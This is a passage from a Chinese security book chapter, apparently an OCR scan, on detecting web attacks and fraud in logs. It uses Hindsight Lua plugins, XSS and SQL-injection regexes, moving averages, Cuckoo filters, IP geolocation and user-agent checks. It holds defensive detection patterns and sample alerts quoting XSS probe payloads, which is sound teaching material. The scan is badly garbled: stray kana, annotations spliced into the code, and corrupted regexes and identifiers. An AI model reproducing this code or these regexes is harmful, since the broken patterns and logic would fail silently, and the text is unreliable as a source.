达式却失去了信心。如果你决定在组织里部署这种类型的安全系统，要特别关 

注它的复杂性，否则将会重蹈覆辙。

正则表达式只有运用得当オ会威力无穷,但是写出正确的正则表达式不是ー 

件容易的事,要做到长时间维护就更难了,而且大规模的执行正则表达式也需要 

很高的成本。看看下面这个正则表达式:((ヽ％3c) |<) ((\^2F)|W)*[a-zO- 
9\%] + ( (\%3E) |» o你不可能看出来它在找什么，让我来告诉你答案吧：它捕捉 

的是以小于号开头，以大于号结束,以及它们之间的任何字符,借此来发现HTTP 
查询字符串中的注入攻击。攻击者将欺诈性的JavaScript注入应用，在实现跨站脚 

本攻击时，你就会收到这类HTTP查询字符串，就像我们在第3章中讨论的那样。
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这个正则表达式可以用来捕捉包含注入攻击尝试的可疑请求。代码清单8.7展 

示了一个捕捉注入攻击的分析器的例子，它对每一条进入分析插件的Nginx访问日 

志应用这个正则表达式。正则表达式保存在本地的ー个变量xss之中,通过rex. 
match 〇函数将它与每个Fields [request]做比较。如果发现匹配成功，就会 

通过add_to_payload()函数发出一条告警消息，告警消息会被输出插件所捕获 

并写入合适的位置。

代码清单8.7捕捉包含查询字符串攻击的日志插件

require "string" 将XSS正则表达式
A local rex = require "rex__pcre" 加载到本地变量中。

local xss = ' ((\%3C) |<) ((\%2F) |\/)* [a-z0-9\%] + ((\%3E) |>) ' -----------------

导人正则表达式库。

function process_message()
从到达的事件中提取 
HTTP请求。

生成告 
警消息。

local req = read_message ("Fields [request] ") ◄---- |检查请求和正则表达式
local xss_matches = rex.match(req, xss) | I・莫式是否成功兀西3
if xss_matches then

local remote_addr = read_message("Fields[remote_addr]") I
add_to_payload(string.format("ALERT： xss attempt from %s

--------------A in request %s\n", remote_addr, req)) 
end 
return 0

从事件中提取远程
IPo

end

function timer_event()
inj ect_payload("txt", "alerts") 

end

定期将告警插入输出层。

这个插件输出的示例如代码清单8.8所示。它捕捉到了不少示例日志中的问题, 

而且很少发生误报。一部分原因是，示例日志是通过ZAP漏洞扫描来人工生成的 ， 

但还有一部分原因是,包含HTML标记的查询字符串是非常少见的。这个正则表达 

式的误报率不会太高。

代码清单8.8 XSS分析插件生成的告警消息示例

ALERT： xss attempt from 172.21.0.2 in request GET /'%22%3Cscript%3Ealert(1); 
%3C/script%3E/；jsessionid=kc4vhll2bw8e HTTP/1.1

ALERT： xss attempt from 172.21.0.2 in request GET /s/login.view；jsessionid=s92 
lz2w0dn7v?error=%27%22%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E HTTP/1.1

ALERT： xss attempt from 172.21.0.2 in request GET /s/style/font-awesome-4.5.0/ 
css/font-awesome.min.css；jsessionid=lsneomaqzh326?query=%27%22%3Cscript 
%3Ealert%281%29%3B%3C%2Fscript%3E HTTP/1.1

这只是ー个查找ー种特定类型攻击的正则表达式。要让这种方法发挥作用,你 
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需要监控的肯定是不止ー个正则表达式。你可能需要先收集各种不同来源的特征, 

并随着日志中发现的越来越多的可疑模式,从而逐渐增加特征数据库的大小。

代码清单8.9展示了一个修改过的XSS分析器版本,它会查找各种不同的攻击 

模式（链接8.5）。这段脚本展示了如何使用Lua表来保存模式清单,并用ー个循环 

将它们逐个与进入的消息进行比对。代码示例中的表suspicious_terms是ー个 

简单的字符串清单，它使用了字符串来查找而不是正则表达式，这样会使速度更快。 

suspicious_regexes使用ー个键值格式将一个标签和正则表达式ー起保存，用 

来记录特定正则表达式要捕获的内容。

代码清单8.9使用字符串和正则表达式搜索攻击模式

require "table"
local rex = require "rex_pcre"

local suspicious_terms = {
"ALTER",
"CREATE",
"DELETE",
"DROP",
"EXEC",
"EXECUTE",
"INSERT",
"MERGE",
"SELECT",
"UPDATE", 
"SYSTEMROOT"

)

SQL动词的清单,如果在HTTP请求 
中发现了这些动词,就认为它们是可 
疑的（取决于应用）。

local suspicious_regexes = { ~I可疑的正则表达式模式清单。

XSS 
imgsrc

简单的XSS

"((\%3O |<) ((\%2F) |\/)*[a-zO-9\%] + ((\%3E) |>)", 
"((\%3C) |<) ( (\%69) |i| (\%49)) ((\%6D) |m| (\%4D))"..
"((\%67) |g| (\%47) ) [A\n] + ( (\%3E) |>) >',

HTMLimg标签中的XSS。

sqli = "\w*((\%27) I (\')) ((\%6F) |o| (\%4F))n.. 
"((\%72)|r|(\%52))",

sqlimeta = " ( (\%3D) j ( = ) ) [A\n] *( (\%27)[(、リド..
"(\-\") I (\%3B) I (;))",

)

卜j SQL注入攻击。 

h

I检测SQL元字符。
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function process_message()
local req = read_message("Fields[request]")
local remote_addr = read_message("Fields[remote_addr]")
for _, term in ipairs(suspicious_terms) do

local is_suspicious = string.match(req, term)
if is_suspicious then
add_to_payload(
string.format("ALERT： suspicious term %s from %s in request %s\n", 

term, remote_addrz req))
end 

end
I用正则表达式的标签

for label, regex in pairs (suspicious_regexes) do ◄---- 来表示告藝 中 的攻击
local xss_matches = rex.match(req； regex) I 米别。
if xss_matches then 
add_to_payload( 
string.format("ALERT： %s attempt from %s in request %s\n", 
label, remote_addr, req))

end 
end

return 0 
end

function timer_event()
inj ect_payload("txt", "alerts") 

end

可以使用本章开头介绍的测试设置来运行这个分析器。执行挂载了这些目录的 

Docker 容器,分析器的输出将被写入 output/payload/analysis.suspicious_signatures. 
alerts.txt中。这个插件能够捕捉到的访问日志告警数以千计,这是符合预期的,因 

为这些日志是由ZAP漏洞扫描生成的。可以认为这种方法在某些方面确实是成功的, 

但你也要考虑到这种方法存在的两个主要缺点:

•正则表达式写起来很难,读起来更难。你可能会犯ー些难以发现的错误,并 

且还要花上好几个小时去痛苦地调试。这个分析器例子只有四个正则表达式, 

然而要读懂这部分代码已经很费劲了。尽管正则表达式看上去可能很强大, 

很吸引人,但我不建议任何人把试用它们当成日常的工作。

•生成的告警过多。Web应用对公共互联网是完全开放的，它将会收到很多奇 

奇怪怪的流量，有些是欺诈的，有些则不是。每一个不正常的模式都会生成 

一条新告警,即使误报率很低，任何安全团队在几周内也都会被打趴下。只 

要是在互联网上运行服务，异常流量就是家常便饭。

你可以运用一点数学知识，或者对这个完美的检测系统的追求进行ー些妥协, 

这样就可以解决这两个问题。在下ー节,我们将了解在超过阈值时如何借助统计方 

法去触发告警,并利用这种方法来减少检测逻辑的噪声。
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8.3 欺诈检测的统计模型

对于任何欺诈检测基础设施来说,最大的威胁可能是系统会被太多的告警“冲 

垮”。多年前，我曾经部署过一个主机检测系统’，用于监视生产环境服务器的文件系 

统的更改。文件校验一旦发生变化就会发送告警。这是一种强大而诱人的机制，因 

为攻击在攻击目标的过程中一定会下载新文件或修改现有文件。这些文件的变化远 

远超出我的想象，我的收件箱很快就被数千封电子邮件塞满,文件每发生一次变 

化就会发出一封邮件，而ー个文件一天要变化好几次,因为每ー次代码部署都要 

在数百台服务器上重写数十个配置文件。这个系统被我保留了好几个月，我希望 

能找到ー种有效的方法可以从噪声中过滤出信号。最后我终于意识到，梳理一页 

又一页的误报结果就是在白费カ气，反而让我没有时间去查找入侵的迹象。噪声 

毁了整个系统。

每一位安全工程师都要经历挫折才能学会如何处理误报，否则另一种选择就 

是只有删除那些可能包含泄露痕迹的消息。在有些情况下，你需要接收每一条告 

警并进行人工鉴别和分拣，例如那些完全隔离的并且噪声极少的被监控系统。然而, 

对于常见用例来说,合理的实现欺诈检测的方法只有一个,那就是在超过阈值时 

触发告警。

实际上，这意味着要设立或计算ー个标准，如果某个来源的流量超过此标准， 

该来源就不再被认为是可信的，而且要对其进行调查。这意味着攻击者的活动可以 

避开雷达并发送阈值以下的流量,但这种阈值方法带来的好处抵消了这些风险,因 

为它能够显著地减少来自系统的噪声。

8.3.1 滑动窗口与循环缓冲

违反限制的客户端检测需要在一段给定的时间内对每个客户端发送的请求进行 

计数。假设你需要计算客户端在过去8分钟内发送的请求,其粒度精确到分钟;当 

客户端在这段时间内发送的请求数量超过X时，就会触发告警。

这种方法被称为滑动窗口,如图8.3所示。比如你需要一个可以保留8分钟这 

样能精确到分钟的滑动窗口。要实现这个滑动窗口,就需要对某1分钟内收到的所 

有请求计数，并将结果保存下来，这样你就能计算出过去8分钟的请求计数总和。 

时间每过1分钟,就丢弃时间最久的ー个计数,再新增ー个计数,实际上就是将窗 

口向前滑动了1分钟。

1主机检测系统(Host-based Detection System)是安装于网络中的主动节点上的入侵检测模块,这些 
主动节点是需要重点保护的主机。一~译者注
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滑动窗口

当前分钟

图8.3滑动窗口随时间向前移动，并捕获当前时间点和过去某个时间点之间的所有值,图中的 
这个时间间隔是8分钟。

滑动窗口是ー种常见的数据结构:TCP协议使用它来跟踪活动连接中的正确的 

序号。对连接率限制的实现可以使用滑动窗口来记录一段时间内的请求数量,例如 

在流行的Web服务器中可以找到的那种实现。

高效地实现滑动窗口可能比较棘手，因为需要知道当前时间，还需要访问历史 

值,以及在不牺牲算法性能的前提下移除时间较久的值。这就要用到循环缓冲了。 

循环缓冲是ー种数据结构，它使用大小固定的缓冲来实现滑动窗ロ，这种数据结构 

里的第一条记录跟在最后一条记录之后，从而形成一个循环.

图8.4展示了一个循环缓冲，它有8个槽，1个槽对应1分钟。时间按照顺时 

针方向向前移动。当前分钟标记为“tO”，里面的值是17,这表示当前这1分钟内 

请求的计数是17次。t-1的计数是0, t-2也是〇。t-3计数为23，依此类推。时间最 

久的值标记为t-7,值为8。当缓冲向前移动时，t-7被覆盖，变成t0,原来的t0变 

成t-l,依此类推。

图8.4固定长度的循环缓冲区可以用于实现滑动窗口,并在事先定义好的时间段内对条目计数。

循环缓冲区可以不断地保存过去8分钟的历史记录,而不用扩大空间也不用进 

行垃圾收集。通过调整缓冲的大小就可以留存更长或更短的时间,这取决于你想用 

这些数据做什么。
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循环缓冲在日志流水线中随处可见,所以Hindsight将它作为一等公民来支持。 

代码清单8.10展示了如何创建一个保存8分钟历史记录的循环缓冲。缓冲的声明接 

受的前两个参数分别是行数和列数。每一行记录间隔的秒数是第3个参数,高效地 

实现了图8.4中描述的缓冲区。

在向缓冲中添加值时,要提供用UNIX纳秒格式表示的当前时间、ー个值和该 

值要插入的列。代码清单8.10中的代码对当前分钟内的请求计数加1。每处理一个 

请求,计数加1。然后,获取缓冲内容并对所有行的值求和,这就算出了在过去8 
分钟内接收到的请求总数。

代码清单8.10 Hindsight中循环缓冲的使用

require ''circular_bufferM 
local cb = circular_buffer.new(8,

缓冲的列数。「

cb：add(current_nanosec, 1, 1) v

一 I缓冲的行数。

[ I每一行间隔多少秒;这里是1分钟。

」向循环缓冲中插入新条目。

local total_req = 0
local history = cb：get_range(1)

I获取缓冲区的内容, 
・ 倣到ー个列表市。

for i=l,8 do
if history[i] > 0 then
total_req = total_req + vals[i] 

end
end

循环遍历列表中的所有条目并求和,算出过 
去8分钟内收到的请求总数。

在循环缓冲里维护一个滑动窗口，这就提供了一种方法来标记在某个时间段内 

发送大量流量的客户端。你可以使用这种方法，当事先定义好的阈值被超过时，可 

以使用这种方法发送告警。真正要做到这一点，你需要为每个客户端IP保留一个循 

环缓冲来分别记录该客户端发送的请求数量。实际上，这意味要维护ー个哈希表, 

键是客户端IP,值是循环缓冲。这种数据结构的内存占用量增长非常快,但是循环 

缓冲的大小固定,因此可以通过配置来控制。日志流水线代码仓库中有一个实现了 

这种阈值逻辑的分析器（链接8.6）。

事先定义告警阈值是很困难的。除每ー个要监控的服务都要定义基线的难度以 

外，流量模式还会在一天中不断发生变化,例如，用户在早上第一次连接的时候和 

在晚上看电影的时候的模式就不一样。在下ー小节我们将讨论ー种计算移动平均值 

的方法，用这种方法可以自动确定基线，并可将基线当作标记欺诈活动的阈值。
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8.3.2 移动平均值

计算平均值很简单:用请求总数除以客户端的总数。我们从中学就开始计算平 

均值了,所以这算不上一个很大的挑战。但是计算移动平均值要稍微复杂ー点,因 

为在公式中引入了时间这一概念，必须通过ー个滑动窗口来计算平均值。

假设你需要服务的每个客户端每分钟发送的是请求的平均数。你希望这个平均 

数能随着时间推移而覆盖过去io分钟的流量。如果你发现任何客户端发送的流量 

超过了平均值的二倍或三倍，那么你就可以把该客户端标记为可疑。

你需要做两件事来实现这个分析器：

• 用一个循环缓冲跟踪和记录在过去io分钟内收到的来自所有客户端的请求。

• 每分钟内出现的不同的客户端的数量。

前面小节讨论的循环缓冲提供了一种方法可对给定时间内收到的请求进行计 

数，完成了第一件事。困难的是第二件事，因为你需要知道如何在同一时间段内对 

不同的客户端进行计数。循环缓冲没有办法来满足不同客户端的需要，所以你需要 

另ー种数据结构来跟踪不同的客户端记录。

最简单的实现可能就是使用每分钟的客户端ip列表。可以在每一分钟创建一个 

新列表来计算这段时间内出现的客户端总数。这种方法是可行的，但是有两个缺点:

• 列表的插入速度很快,但是在列表中查找是否存在某ー项却很慢，因为查找 

需要读取整个列表。1分钟之内检查某个ip是否出现错误操作一定会执行数 

千次，这样会消耗很多资源并拖慢处理的速度。

• 必须在内存里保留这段时间内出现过的ip的完整清单，这会对底层系统造成 

很大的压カ。

ー种更好的方法是使用哈希映射,以较慢的插入速度为代价来提供快速查找。 

它解决了第一个问题，但没有解决第二个问题,因此依然需要很大的存储空间。

Cuckoo过滤器是ー种对哈希映射的改进,它是ー种复杂的哈希映射，其设计目 

标是用最小的存储开销提供快速查找，但是要以较低的误报率作为代价。

Bloom过滤器和Cuckoo过滤器
Bloom过滤器和Cuckoo过滤器是两种数据结构,它们的设计目标是用尽 

可能小的空间来提供存储元素的快速查找。Bloom过滤器在1970年由Burton 
Howard Bloom 发明,而 Cuckoo 过滤器在 2001 年由 Rasmus Pagh 和 Flemming 
Friche Rodler提出，它是对Bloom过滤器的改进。

Bloom过滤器和Cuckoo过滤器具备的查找速度快、存储空间小的特点是以
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牺牲准确性换来的。这些数据结构被称为概率数据结构，因为它们不是百分之 

百的准确,它可能会告诉你某个条目存在于过滤器中，但实际上并不存在。误 

报的概率通常很低（Hindsight的实现是0.00012,即0.012%），这对于不需要完 

全精确的统计系统来说,通常是可以接受的。

这种算法实现分成两部分：

• 在process_rnessage函数中，对循环缓冲中的请求进行计数（第一件事）, 

并保存在指定分钟内出现的不同的客户端的列表中（第二件事）。

• 在timer_event函数中,根据请求数量和不同的客户端数量计算移动平均值。

process_message函数全速运行,更新循环缓冲区中的计数，并将IP插入 

Cuckoo过滤器，而timer_event只是周期性地被唤醒,获取所有这些信息并重 

新计算移动平均值。这种方法提供了一个双速模块,一端尽可能快地处理消息，而 

另一端只是定期唤醒更新并记录平均值。

代码清单8.11展示了 process_message函数的代码'首先提取当前消息的 

时间戳,并根据它来递增循环缓冲中的请求总数。下ー步,创建一个时间字符串， 

表示当前时刻（精确到分钟），然后用这个字符串取出当前分钟的Cuckoo过滤器, 

如果没有就创建一个。最后,将当前IP插入Cuckoo过滤器。

代码清单8.11对进入的请求和不同的客户端进行计数的移动平均值分析器

function process,messageO , |根据消息时间戳递增请求计数器。
local t = read_message (•'Timestamp")
reqcnt：add(t, 1， 1)

local current_minute = os.date("%Y%m%d%H%M", math.floor(t/le9))

local cf = seenip[current_minute] 
if not cf then

cf = cuckoo_filter.new(max_cli_min) 
end

获取当前Cuckoo过滤器,如果不存在 
卜n就创建一个，过滤器中包含了最近1分 

钟内出现过的IP列表。

local remote_addr = read_message("Fields[remote_addr]") 
local ip = ipv4_str_to_int(remote_addr) 
if not cf：query(ip) then
cf：add(ip)
seenip[current_minute] = cf

end
return 0 

end

检查过滤器中是否 
存在当前|P,如果 
不存在就把1P添加 
到列表中。

）移动平均值分析器的完整代码可以在链接8.フ中找到。
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代码清单8.12展示了 timer_event函数的代码,这个函数定期会重新计算 

移动平均值。该函数执行的频率是每分钟一次,这个频率是很恰当的,因为这是移 

动平均值的粒度。

timer_event函数做了两件事。第一,它根据循环缓冲中的数据和Cuckoo 
过滤器中不同!P的数量来计算当前平均值。计算出的平均值表示在过去的10分钟 

内（或者你选定的时间长度）每个客户端发送的请求数量。

timer_event函数做的第二件事是从seenip表中删除条目，实际上就是删 

除不再使用的Cuckoo过滤器，并让Lua垃圾收集器销毁它们。你需要执行这个操 

作来防止seenip无限增长，如果只是使用循环缓冲的话就不用关心这个操作了。

代码清单8.12实现移动平均值的定期计算和定期垃圾收集

function timer_event() |循环遍历存储在请求计数循环缓
local totalreq = 0 冲中的值。
average = 0
local reqcounts = reqcnt:get_range(1) I ]
for i = 1, mv_avg__min do | 计算—1s时间戳来

获取当前分钟的 
local ts = os.date ("%Y%m%d%H%MM , CuckOO 过滤器。

math.floor( 
reqcnt：current_time()/le9 --------

)-(60・ は一エ)))

local cf = seenip[ts] 
if cf then 

if reqcounts[i] > 0 then 
local weighted_avg = average * i -!将平均值更新为当前
local current_avg = reqcounts[i] / cf：count 〇 |值。
average = (weighted_avg + current_avg) / (i + 1) 

end
end

end

local now = os.time(os.date(M*tM))
local earliest = os.date("%Y%m%d%H%M", now-(60*mv_avg_min)) 
for ts, in pairs(seenip) do

if ts < earliest then 
seenip[ts] = nil

end 

删除不再使用的 
过期Cuckoo过
滤器。

end

代码清单8.13展示了分析器产生的结果。每一行显示的是每分钟内的请求计数 

和IP计数，而最后一行显示了计算得出的移动平均值:每个IP每分钟93.28个请求。 
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这有点高，因为输出的数据点多数都接近每个IP每分钟10个请求，只有两个数据 

点高得不正常。在这两个时间段内很可能出现了欺诈客户端,它注入了大量的流量, 

从而推高了移动平均值。然而,即使移动平均值每个IP每分钟高达93个请求，也 

依然明显低于欺诈客户端产生的流量,你可以依据此信息尽早标记它。

代码清单8.13移动平均值分析器的输出示例

seen 10 IPs and 93 requests at 201701121654
seen 12 IPs and 187 requests at 201701121653
seen 17 IPs and 2019 requests at 201701121652
seen 32 IPs and 6285 requests at 201701121651
seen 23 IPs and 350 requests at 201701121650
seen 11 IPs and 130 requests at 201701121649

你可以进ー步改善这个算法。最有意思的改进可能是将移动平均值限制在 

95% ,丢弃那些远远偏离正常范围的数据点。这样可以优化检测逻辑,防止欺诈客 

户端人为地推高移动平均值。

将移动平均值与前面介绍的特征检测逻辑相结合,这是ー种增强欺诈检测代码 

发出的信号强度的好方法。循环缓冲和Cuckoo过滤器这两种数据结构在构建复杂 

日志分析工具时不可或缺。在使用它们的时候要小心，因为它们的计算成本很容易 

拖慢整个流水线的速度。

下ー节，我们将讨论最后ー种通过使用用户的地理信息来检测欺诈的方法。

8.4 利用地理信息数据来发现滥用

到目前为止，我们讨论的都是基于通用模式的检测方法:特征和连接率。这 

些是常见的恶意活动指数，但是它们不能帮你检测出最臭名昭著的攻击向量:身 

份盗用。

盗取身份需要获得个人凭证的访问权限。遗憾的是,攻击者非常擅长盗取密码 

和密钥，但人们却很不善于保护它们。你可以培养组织里的用户使用多因子验证、 

强カ密码及定期更新的SSH密钥,但是最终某个人的访问权限一定会被泄露。

当身份被盗取后，攻击者会立即访问该账户来验证密码。在绝大多数情况下, 

攻击者不会用接近目标用户的代理来伪装他们的访问，他们会留下活动的痕迹，这 

给我们提供了异常检测的空间。

如果我们拥有足够多的用户信息，我们就可以构建用户活动的指纹来检测模式 

的变化。可以用来构建指纹的数据包括连接通常来自哪个地区,用户使用的浏览器 

类型，甚至还有访问速度及一次会话中访问的页面数量。这ー节我们将讨论这些不 
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同的技术,它们是识破身份盗用、保护员エ及组织服务的最终用户的方法。

保护用户最有效的方法莫过于检查他们的连接来源，如果来源与用户平时的地 

理位置相差十万八千里,那么就需要增加额外的登录步骤。许多服务为了保护用户 

都实现了这样的协议。例如,Facebook会要求你辨别一些朋友的照片来验证你的身 

份，但只有当连接来自不寻常的地点时オ会激活这种检查。银行也有类似的实现, 

那些不是来自用户平常发起连接的地区或国家的转账会被标记出来。你可能会接到 

信用卡公司打来的莫名其妙的电话，询问你是否在夏威夷产生过ー笔317美元的正 

常消费（如果是正常消费，那就还好）。

实现这种类型的安全控制的最简单方法就是维护用户发起连接的!P数据库, 

如果收到来自未知IP的连接,系统就会发出告警。这种方法听起来有些天真，但 

实际上非常有效，因为大多数人的位置都非常稳定，并且只会从少数几个地点发 

起连接。尽管世界的流动性日益增强，但大多数用户仍然会先从家庭网络来登录 

账户,因此在登录操作发生时，执行欺诈检测可以提供理想的安全控制，并且不 

会对用户产生太多干扰。

8.4.1 记录用户的地理信息

还有一种更复杂的方法:维护每个用户的地理信息并将其保存到数据库里。计 

算每一个用户的地理信息需要大量的机器。这里我将讲解主要的概念，完整的算法 

实现可以查看链接8.8。

地理信息算法观察来自用户的事件,获取事件来源IP的纬度和经度（这被称作 

对IP进行地理定位），然后通过检查数据库来判断定位是否在该用户正常连接的区 

域内。如果是,事件就通过了过滤器,而连接会被添加到用户的历史记录。如果不是, 

那么系统就发出告警并采取行动。

只要使用正确的工具,IP地址的地理定位就很简单，不是什么难事。很多在线 

服务都可以提供IP地址的纬度和经度，并只收取很少的费用。ー个比较流行的服务 

是MaxMind的Geo IP City数据库（链接&9）。MaxMind还提供了免费套餐，对于 

简单的原型开发来说已足够用了。关心查寻速度的应用常常使用这个数据库，因为 

它可以提供二进制文件，并且可以被加载到内存里使用，这和其他服务不同,其他 

服务需要通过API来调用在线数据库。

要实现地理信息算法，我们需要讨论两种技术。首先,我们要讨论如何计算球 

面上两点之间的距离；然后，我们要使用这个算法找到用户正常的连接区域。
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地理位置的注意事项

对IP地址进行地理定位并不是ー门追求精确的科学。1P对应的纬度和经度 

信息需要该!P网段的拥有者提供 宽带网络提供商通常能把!P网段映射到城市, 

这能解决大部分问题。而企业网段的位置通常是不准确的,ー个公司分配给德 

国数据中心的IP可能会被定位到该公司位于伦敦的总部。

移动网络使用的IP也并不能总是定位准确。我测试过，我的手机位于费城， 

却被定位到了芝加哥 VPN服务的用户也会被定位到了不确定的地点，这取决 

于VPN运营商把它们的中转服务器放在哪里。谨慎使用这些数据库，不要把它 

当作唯一的拦截机制,否则很快就会惹恼用户。

8.4.2 计算距离

拿到ip地址的纬度和经度以后,你需要计算该地点离正常连接区域的距离。用 

来计算球面上两点之间的距离的公式被称作半正矢公式（链接8.10）。代码清单8.14 
展示了如何使用Lua实现这个公式。

代码清单8.14 Lua实现的半正矢公式

require wmathM
function haversine(latl, lonl, lat2r lon2) 将纬度和经度换算成弧度。

latl = latl * math.pi / 180
lonl = lonl * math.pi / 180 
lat2 = lat2 * math.pi / 180 
lon2 = lon2 * math.pi / 180

lat_dist = lat2-latl
lon_dist = lon2-lonl
lat_hsin = math.pow(math.sin(lat_dist/2)z 2)
lon_hsin = math.pow(math.sin(lon_dist/2),2)

I计算横切正弦。

a = lat_hsin + math.cos(latl) * math.cos(lat2) * lon_hsin 
return 2* 6372.8 * math.asin(math.sqrt(a))

计算半正矢公式,其中6372.8为 
地球半径。

使用半正矢公式计算两点之间的距离,例如,苏黎世距离该用户的正常连接区 

域为8820千米。公式使用起来很简单:提供两点的纬度和经度，返回以千米为单 

位的距离。例如,下面是佛罗里达州萨拉索塔和宾タ法尼亚州费城之间的距离。开 

车可真远！
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> haversine(27.2651206,-82.5883484,40.1001491,-75.4323903)
1572.3271362959

地球不是平的

计算球面上的两点之间的距离要考虑到A和B之间总是有两条路线,从日 

本到南非,跨越本初子午线的传统路线可能不是距离较短的那条。要想正确计 

算出地球上两个地点之间的距离,你要分别计算跨过本初子午线的路线距离和 

跨过国际日期变更线的路线距离,然后在两者中选择较短的那ー个。

做起来比听起来简单:你只要算出和被测地点互补的经度就可以了。如果 

被测地点的经度大于〇。（格林尼治以东），那么就减去180。。如果小于〇。 

（格林尼治以西），则加上180。o然后,用得到的互补经度算出半正矢公式的值， 

并和之前经度计算出的结果比较,选择距离较短的那ー个。

在Hindsight分析器中使用这个函数一点也不难:在输入插件中使用MaxMind 
数据库来对日志消息中的IP进行地理定位,然后在分析器插件中应用该公式。

8.4.3 找到用户的正常连接区域

现在你已经可以计算地球上的距离了，你需要找到该用户的正常连接区域。假 

设你已经有一份来自某个用户的地点清单,你可以使用代码清单8.15中展示的代码 

来计算正常连接区域。这个算法很简单，将已知的来自该用户的纬度和经度求和， 

再返回一个平均的位置。执行该算法输出的纬度是南纬2ド,经度是东经8.2°,该 

地点位于南大西洋中，在纳米比亚海岸以西几百英里处的地理中心。

代码清单8.15计算ー组给定连接地点的中心

local locations = 
{ [,lat»] = 25, 
{ flat*] = -85, 
{ flat*] = -35, 
j Liat，] = 45, 
{[*lat«] = -55,

) 

[•Ion•] = 13), 
[•Ion1] = -13}, 
['Ion'] = -81}, 
['Ion'] = 59}, 
['Ion'] = 63},

local lat = 0.0 
local Ion = 0.0 
local weight =
for i, in ipairs(locations) do 

lat = lat + locations[i] ["lat"] 
Ion = Ion + locations[i]["Ion"] 
weight = weight + 1

end 
lat = lat / weight
Ion = Ion / weight
print(lat .. "," .. Ion .. " weight=n .. weight)
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如果要不断地更新地理中心的话,你要先用保存在地理中的纬度和经度乘以它 

们的权重。然后将乘积加上新的纬度和经度,并将总权重加1,再用结果除以总权重， 

如代码清单8.16所示。充分考虑到之前地点的权重,地理中心将有效地被移动到新 

的地点。

代码清单8.16用新的连接地点更新现有的地理中心

local new_lat = 42 
local new_lon = -42

lat = lat * weight 
Ion = Ion * weight 
lat = lat + new_lat 
Ion = Ion + new_lon 
weight = weight + 1 
lat = lat / weight 
Ion = Lon / weight 
print (lat .. ", ,• .. Ion . . '• weight=n .. weight)

这次更新将地理中心移动到了南纬10.5°西经0.16°,在之前地点的西北1000 
英里处。权重从5增加到了 6,纬度、经度和权重三个值都保存到了数据库中。

可以使用手头上的一些归档日志来计算这个数据，或者让分析器先运行一段时 

间来收集一些数据。可以对算法进行调整，以避免必须存储用户连接的完整历史。 

相反地，你可以自己设置限制，只存储已知地理中心的纬度和经度，还有权重。权 

重表示目前为止发现的该用户的连接数。你可以利用权重让地理中心慢慢地靠近新 

连接。如果用户地理中心的权重太高，新连接基本不会产生影响,但如果用户连接 

数有限,地理中心可能会穿越地图朝着新连接的地点移动。

我们可以使用这种技术来监测组织中的成员、网站和服务的最终用户。它能在 

内部非常有效地监测到对敏感系统(如SSH堡垒机或AWS CloudTrai!日志)的连接。 

当检测到异常时，应该立即发送一封邮件给受影响的用户和安全团队，要求进ー步 

调查。偶尔收到此类告警,则是正常的，但它们的数量相对来说应该很少，并且易 

于分拣。

为最终用户和客户建立地理信息要更难一些。用户总是在移动,还会将账户分 

享给家人。我曾经在ー个客户身上应用过这个算法,我知道这个客户居住的确切区 

域,而我却花了半天时间去调查来自印尼的连接，最后オ发现该客户在东南亚雇用 

了远程员エ，并将自己的主账户分享给了他们。地理信息对这类非常极端的连接模 

式的用户不太适用，但它可以保护80%的用户免受身份盗用的危害。

在理想情况下,你应该结合着使用地理信息和其他的异常检测技术。下ー节我 

们将讨论一些卓有成效的方法。
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8.5 检测已知模式的异常

地点的变化发出了一个强烈的信号,表明用户的账户有不寻常的事情发生了， 

但这种类型的监控无法保护经常移动或者分享其账户的用户。本节我们将讨论ー些 

能够帮助区分合法用户和欺诈用户的常见技术。

8.5.1 user-agent 特征
跟踪浏览器特征是ー种检测异常活动的好方法。Web浏览器会将用户代理(user 

agent)和每个HTTP请求一起发送，而这些信息很容易通过访问日志带到分析层。 

user-agent字符串包含了很多关于用户操作系统的信息。例如，在编写本书时,我的 

浏览器 user-agent 字符串是 “MoziHa/5.0 (XII; Linux x86_64; rv:52.0) Gecko/20100101 
Firefbx/52.0它表示我的Firefox版本是52,并且运行在64位的Linux系统上。

有了这些信息之后,我们就可以区分来自不同类型系统的连接。以我为例，如 

果是从Windows Vista上的Internet Explorer 8连接账户,这就不同寻常了。分析插 

件如果跟踪记录了我经常使用的浏览器,就可以将我的实时流量与浏览器历史记录 

进行比较，并在检测到新浏览器时增加额外的身份验证步骤。

8.5.2 异常的浏览器

还有一个有意义的数据点可以供我们搜索，就是检测不真实的或者不可能存在 

的浏览器,这仍然关注的是user-agent字符串。攻击者用自动机器人动态生成user- 
agent字符串,他们有时可能会粗心犯错,向服务器发送"Internet Explorer 60n 
Linux”这样的user-agent〇如果有黑客找出了让IE6运行在Linux系统上的方法， 

我也不会惊讶,但是，这并不是ー种常见的设置,对于任何普通用户来说都应该被 

认为是异常的,这种判断很合理。

这种分析器的优势在于可以无状态地运行,而不需要数据库,构造几组永远不 

能同时满足的正则表达式即可。

8.5.3 交互模式

人类是被习惯支配的动物,并会日复一日地以同样的顺序和速度访问页面。回 

想你上次在线查询银行账户的情形，很可能打开的都是同样的页面，执行的是同样 

的操作,而且你丝毫不会意识到这一点。你的阅读速度和点击速度也很可能是ー样 

的,这样ー个异常检测插件可以在数据库中记录页面的顺序和每个操作之间的时间 

间隔,并在下一次访问时进行比对。
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这是攻击者很难逾越的检测点,原因有二。首先，操作速度和你的个性及设备 

有关（即便是一目十行也要等待页面加载），攻击者从系统之外是无法得知的。其次, 

攻击者总是想速战速决，动作通常比人类快几个数量级，这迫使他们为了避免触发 

告警而降低攻击速度，因此可以有效地降低攻击造成的影响。

综合运用这些基于签名、统计和历史记录的技术，能为安全团队提供强大的エ 

具,帮助他们实现日志流水线中的分析层。本章我们只是介绍了一些基础知识，互 

联网上还有大量的资源,也提供了更多关于如何实现更智能、更成熟的异常和欺诈 

检测算法的信息。

如果不能及时向运维人员和用户提供这些信息，那么检测欺诈和异常就没有意 

义。在本章的最后ー节我们将讨论这ー点。我们将研究Hindsight如何向运维人员发 

送告警,还将讨论就数据安全相关问题联系用户的最佳方式。

8.6 向运维人员和最终用户发出告警

在合适的时机发送适量的信息来帮助调查可疑活动，这是分析层最关键的功能。 

如果能在恰当的时机用适量的信息向你发出告警,即便是功能最基础的分析插件也 

可以给你带来很大的价值。这两个“合适”的标准仍有些模棱两可，所以我们要更 

准确地定义它们。

当我们希望人们立即采取行动去阻止或审查异常时,这就是告警的合适时机。 

很多系统默认会尽可能早地发出告警，有时还吹嘘它们能做到近乎实时的告警。起 

先这个主意听起来还不错，但是结果往往是你的手机会从早到晚响个不停,源源不 

